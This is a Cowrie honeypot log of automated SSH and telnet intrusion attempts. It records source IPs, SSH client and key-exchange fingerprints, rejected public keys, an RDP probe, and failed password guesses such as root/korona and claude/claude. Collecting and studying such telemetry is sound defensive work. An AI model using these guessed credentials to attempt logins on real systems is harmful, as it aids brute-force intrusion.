{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:1f:51:29:f9:03:00:44:7a:e1:69:d6:dc:d5:fb:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAro8EhFMr8UDsQeGv7M4wYtNbb82KvKcFSFc6RAW0ylcgsNwXy8aRxvBNia1UFAVWb0HHP5xPPwjchBWaXyvtl+Cx+fl5ZlDr8ZbkL12Lx2VajXg7vJgqjLJxoUqOOHbWEWGRzof1m4ejmBwhI5+bUrrfP/SRkQrLVJD9Qxlwaam1k0yOJ4hOqiAWje+bXGyPYFM3nbcRFRjbQyCMSdkZo5hokvHeZ22P9TkBpyl793GeqiAWiRMMtpF6LxbznUz1WkCiHg/0SVbPGBz+HOcolLpH/ZH0FxernRp/ViloW/Dpf57SfMJlFdDpfptEKopNBbpPH2WvYF9dhcQo/WNilQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:1f:51:29:f9:03:00:44:7a:e1:69:d6:dc:d5:fb:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.447026Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:1f:51:29:f9:03:00:44:7a:e1:69:d6:dc:d5:fb:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAro8EhFMr8UDsQeGv7M4wYtNbb82KvKcFSFc6RAW0ylcgsNwXy8aRxvBNia1UFAVWb0HHP5xPPwjchBWaXyvtl+Cx+fl5ZlDr8ZbkL12Lx2VajXg7vJgqjLJxoUqOOHbWEWGRzof1m4ejmBwhI5+bUrrfP/SRkQrLVJD9Qxlwaam1k0yOJ4hOqiAWje+bXGyPYFM3nbcRFRjbQyCMSdkZo5hokvHeZ22P9TkBpyl793GeqiAWiRMMtpF6LxbznUz1WkCiHg/0SVbPGBz+HOcolLpH/ZH0FxernRp/ViloW/Dpf57SfMJlFdDpfptEKopNBbpPH2WvYF9dhcQo/WNilQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.450756Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:8a:db:ab:4e:e2:5d:c6:ad:45:fb:99:ba:55:67:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKumgj9m3KBg6gMxPtT4QGOkipbtukG1q761ptavSvW3oigMikEZ1QBVaAtEpGpDlc3Oe8NdXGn1ZTvw4Np+CxicNqGyLiVVBJJz8IAJQPQiSwt9/fWstUj5GlWetGh9GijsyM0hN0bAshniFN7tbnMYoMyl5yuNAGHVmD5NVFOg9ohRzSmyWeiwQqWuXOOGKeheZEuIeXfQp8BBoILznZzycpiZ66f/TR0cEi/6MFuRi0W/Xx4zS7Rn1qnw+qdDifqcZzQhvJGwW8bAjKdKe/iw/DkIX+Vj7FxYHjphI9fMb1SQ47ffRpBs9fUiprS6CFULRaBnyz7OIWjRzzl7rV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:8a:db:ab:4e:e2:5d:c6:ad:45:fb:99:ba:55:67:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.539274Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:8a:db:ab:4e:e2:5d:c6:ad:45:fb:99:ba:55:67:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKumgj9m3KBg6gMxPtT4QGOkipbtukG1q761ptavSvW3oigMikEZ1QBVaAtEpGpDlc3Oe8NdXGn1ZTvw4Np+CxicNqGyLiVVBJJz8IAJQPQiSwt9/fWstUj5GlWetGh9GijsyM0hN0bAshniFN7tbnMYoMyl5yuNAGHVmD5NVFOg9ohRzSmyWeiwQqWuXOOGKeheZEuIeXfQp8BBoILznZzycpiZ66f/TR0cEi/6MFuRi0W/Xx4zS7Rn1qnw+qdDifqcZzQhvJGwW8bAjKdKe/iw/DkIX+Vj7FxYHjphI9fMb1SQ47ffRpBs9fUiprS6CFULRaBnyz7OIWjRzzl7rV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.543387Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.631616Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34246,"dst_ip":"10.17.0.5","dst_port":22,"session":"114b0858fe5b","protocol":"ssh","message":"New connection: 103.27.238.116:34246 (10.17.0.5:22) [session: 114b0858fe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:07.047501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:07.052817Z","src_ip":"103.27.238.116","session":"114b0858fe5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:07.306975Z","src_ip":"103.27.238.116","session":"114b0858fe5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258963","message":"login attempt [root/741258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:08.067171Z","src_ip":"103.27.238.116","session":"114b0858fe5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:09.323052Z","src_ip":"103.27.238.116","session":"114b0858fe5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.81.98.129","src_port":36255,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d160da669ff","protocol":"telnet","message":"New connection: 171.81.98.129:36255 (159.203.135.109:23) [session: 9d160da669ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:10.241530Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":33088,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bb44aa5627","protocol":"ssh","message":"New connection: 43.130.57.37:33088 (10.17.0.5:22) [session: 15bb44aa5627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:21.675826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:21.681305Z","src_ip":"43.130.57.37","session":"15bb44aa5627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:21.751571Z","src_ip":"43.130.57.37","session":"15bb44aa5627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:22.062117Z","src_ip":"43.130.57.37","session":"15bb44aa5627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:23.135267Z","src_ip":"43.130.57.37","session":"15bb44aa5627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.965341329574585,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:23.206747Z","src_ip":"171.81.98.129","session":"9d160da669ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":44826,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ddaed9c466d","protocol":"ssh","message":"New connection: 43.228.112.254:44826 (10.17.0.5:22) [session: 7ddaed9c466d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:26.903987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:26.909497Z","src_ip":"43.228.112.254","session":"7ddaed9c466d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:27.147427Z","src_ip":"43.228.112.254","session":"7ddaed9c466d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:28.087567Z","src_ip":"43.228.112.254","session":"7ddaed9c466d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:29.317344Z","src_ip":"43.228.112.254","session":"7ddaed9c466d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":38564,"dst_ip":"159.203.135.109","dst_port":22,"session":"482299d9be45","protocol":"ssh","message":"New connection: 103.195.236.96:38564 (159.203.135.109:22) [session: 482299d9be45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:34.039156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:34.043588Z","src_ip":"103.195.236.96","session":"482299d9be45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:34.285831Z","src_ip":"103.195.236.96","session":"482299d9be45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korona","message":"login attempt [root/korona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:35.029223Z","src_ip":"103.195.236.96","session":"482299d9be45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:36.279261Z","src_ip":"103.195.236.96","session":"482299d9be45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54290,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d5db13dc6d","protocol":"telnet","message":"New connection: 192.119.13.58:54290 (10.17.0.5:23) [session: 39d5db13dc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:49.599895Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58755,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23208d9b596","protocol":"ssh","message":"New connection: 152.42.212.128:58755 (159.203.135.109:22) [session: e23208d9b596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:53.555684Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:53.560825Z","src_ip":"152.42.212.128","session":"e23208d9b596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:53.564404Z","src_ip":"152.42.212.128","session":"e23208d9b596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38850,"dst_ip":"10.17.0.5","dst_port":22,"session":"4459968cafcf","protocol":"ssh","message":"New connection: 109.237.96.109:38850 (10.17.0.5:22) [session: 4459968cafcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:54.271724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:54.275252Z","src_ip":"109.237.96.109","session":"4459968cafcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:54.368434Z","src_ip":"109.237.96.109","session":"4459968cafcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"catcat","message":"login attempt [root/catcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:54.649628Z","src_ip":"109.237.96.109","session":"4459968cafcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:55.746947Z","src_ip":"109.237.96.109","session":"4459968cafcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60454,"dst_ip":"159.203.135.109","dst_port":22,"session":"21fc4522f565","protocol":"ssh","message":"New connection: 37.233.85.71:60454 (159.203.135.109:22) [session: 21fc4522f565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:58.883720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:58.888676Z","src_ip":"37.233.85.71","session":"21fc4522f565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:58.997665Z","src_ip":"37.233.85.71","session":"21fc4522f565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:41:59.329482Z","src_ip":"37.233.85.71","session":"21fc4522f565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:00.441928Z","src_ip":"37.233.85.71","session":"21fc4522f565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44344,"dst_ip":"159.203.135.109","dst_port":22,"session":"a722cc7dcb20","protocol":"ssh","message":"New connection: 103.15.222.183:44344 (159.203.135.109:22) [session: a722cc7dcb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:00.487873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:42:00.495638Z","src_ip":"103.15.222.183","session":"a722cc7dcb20","protocol":"ssh"}
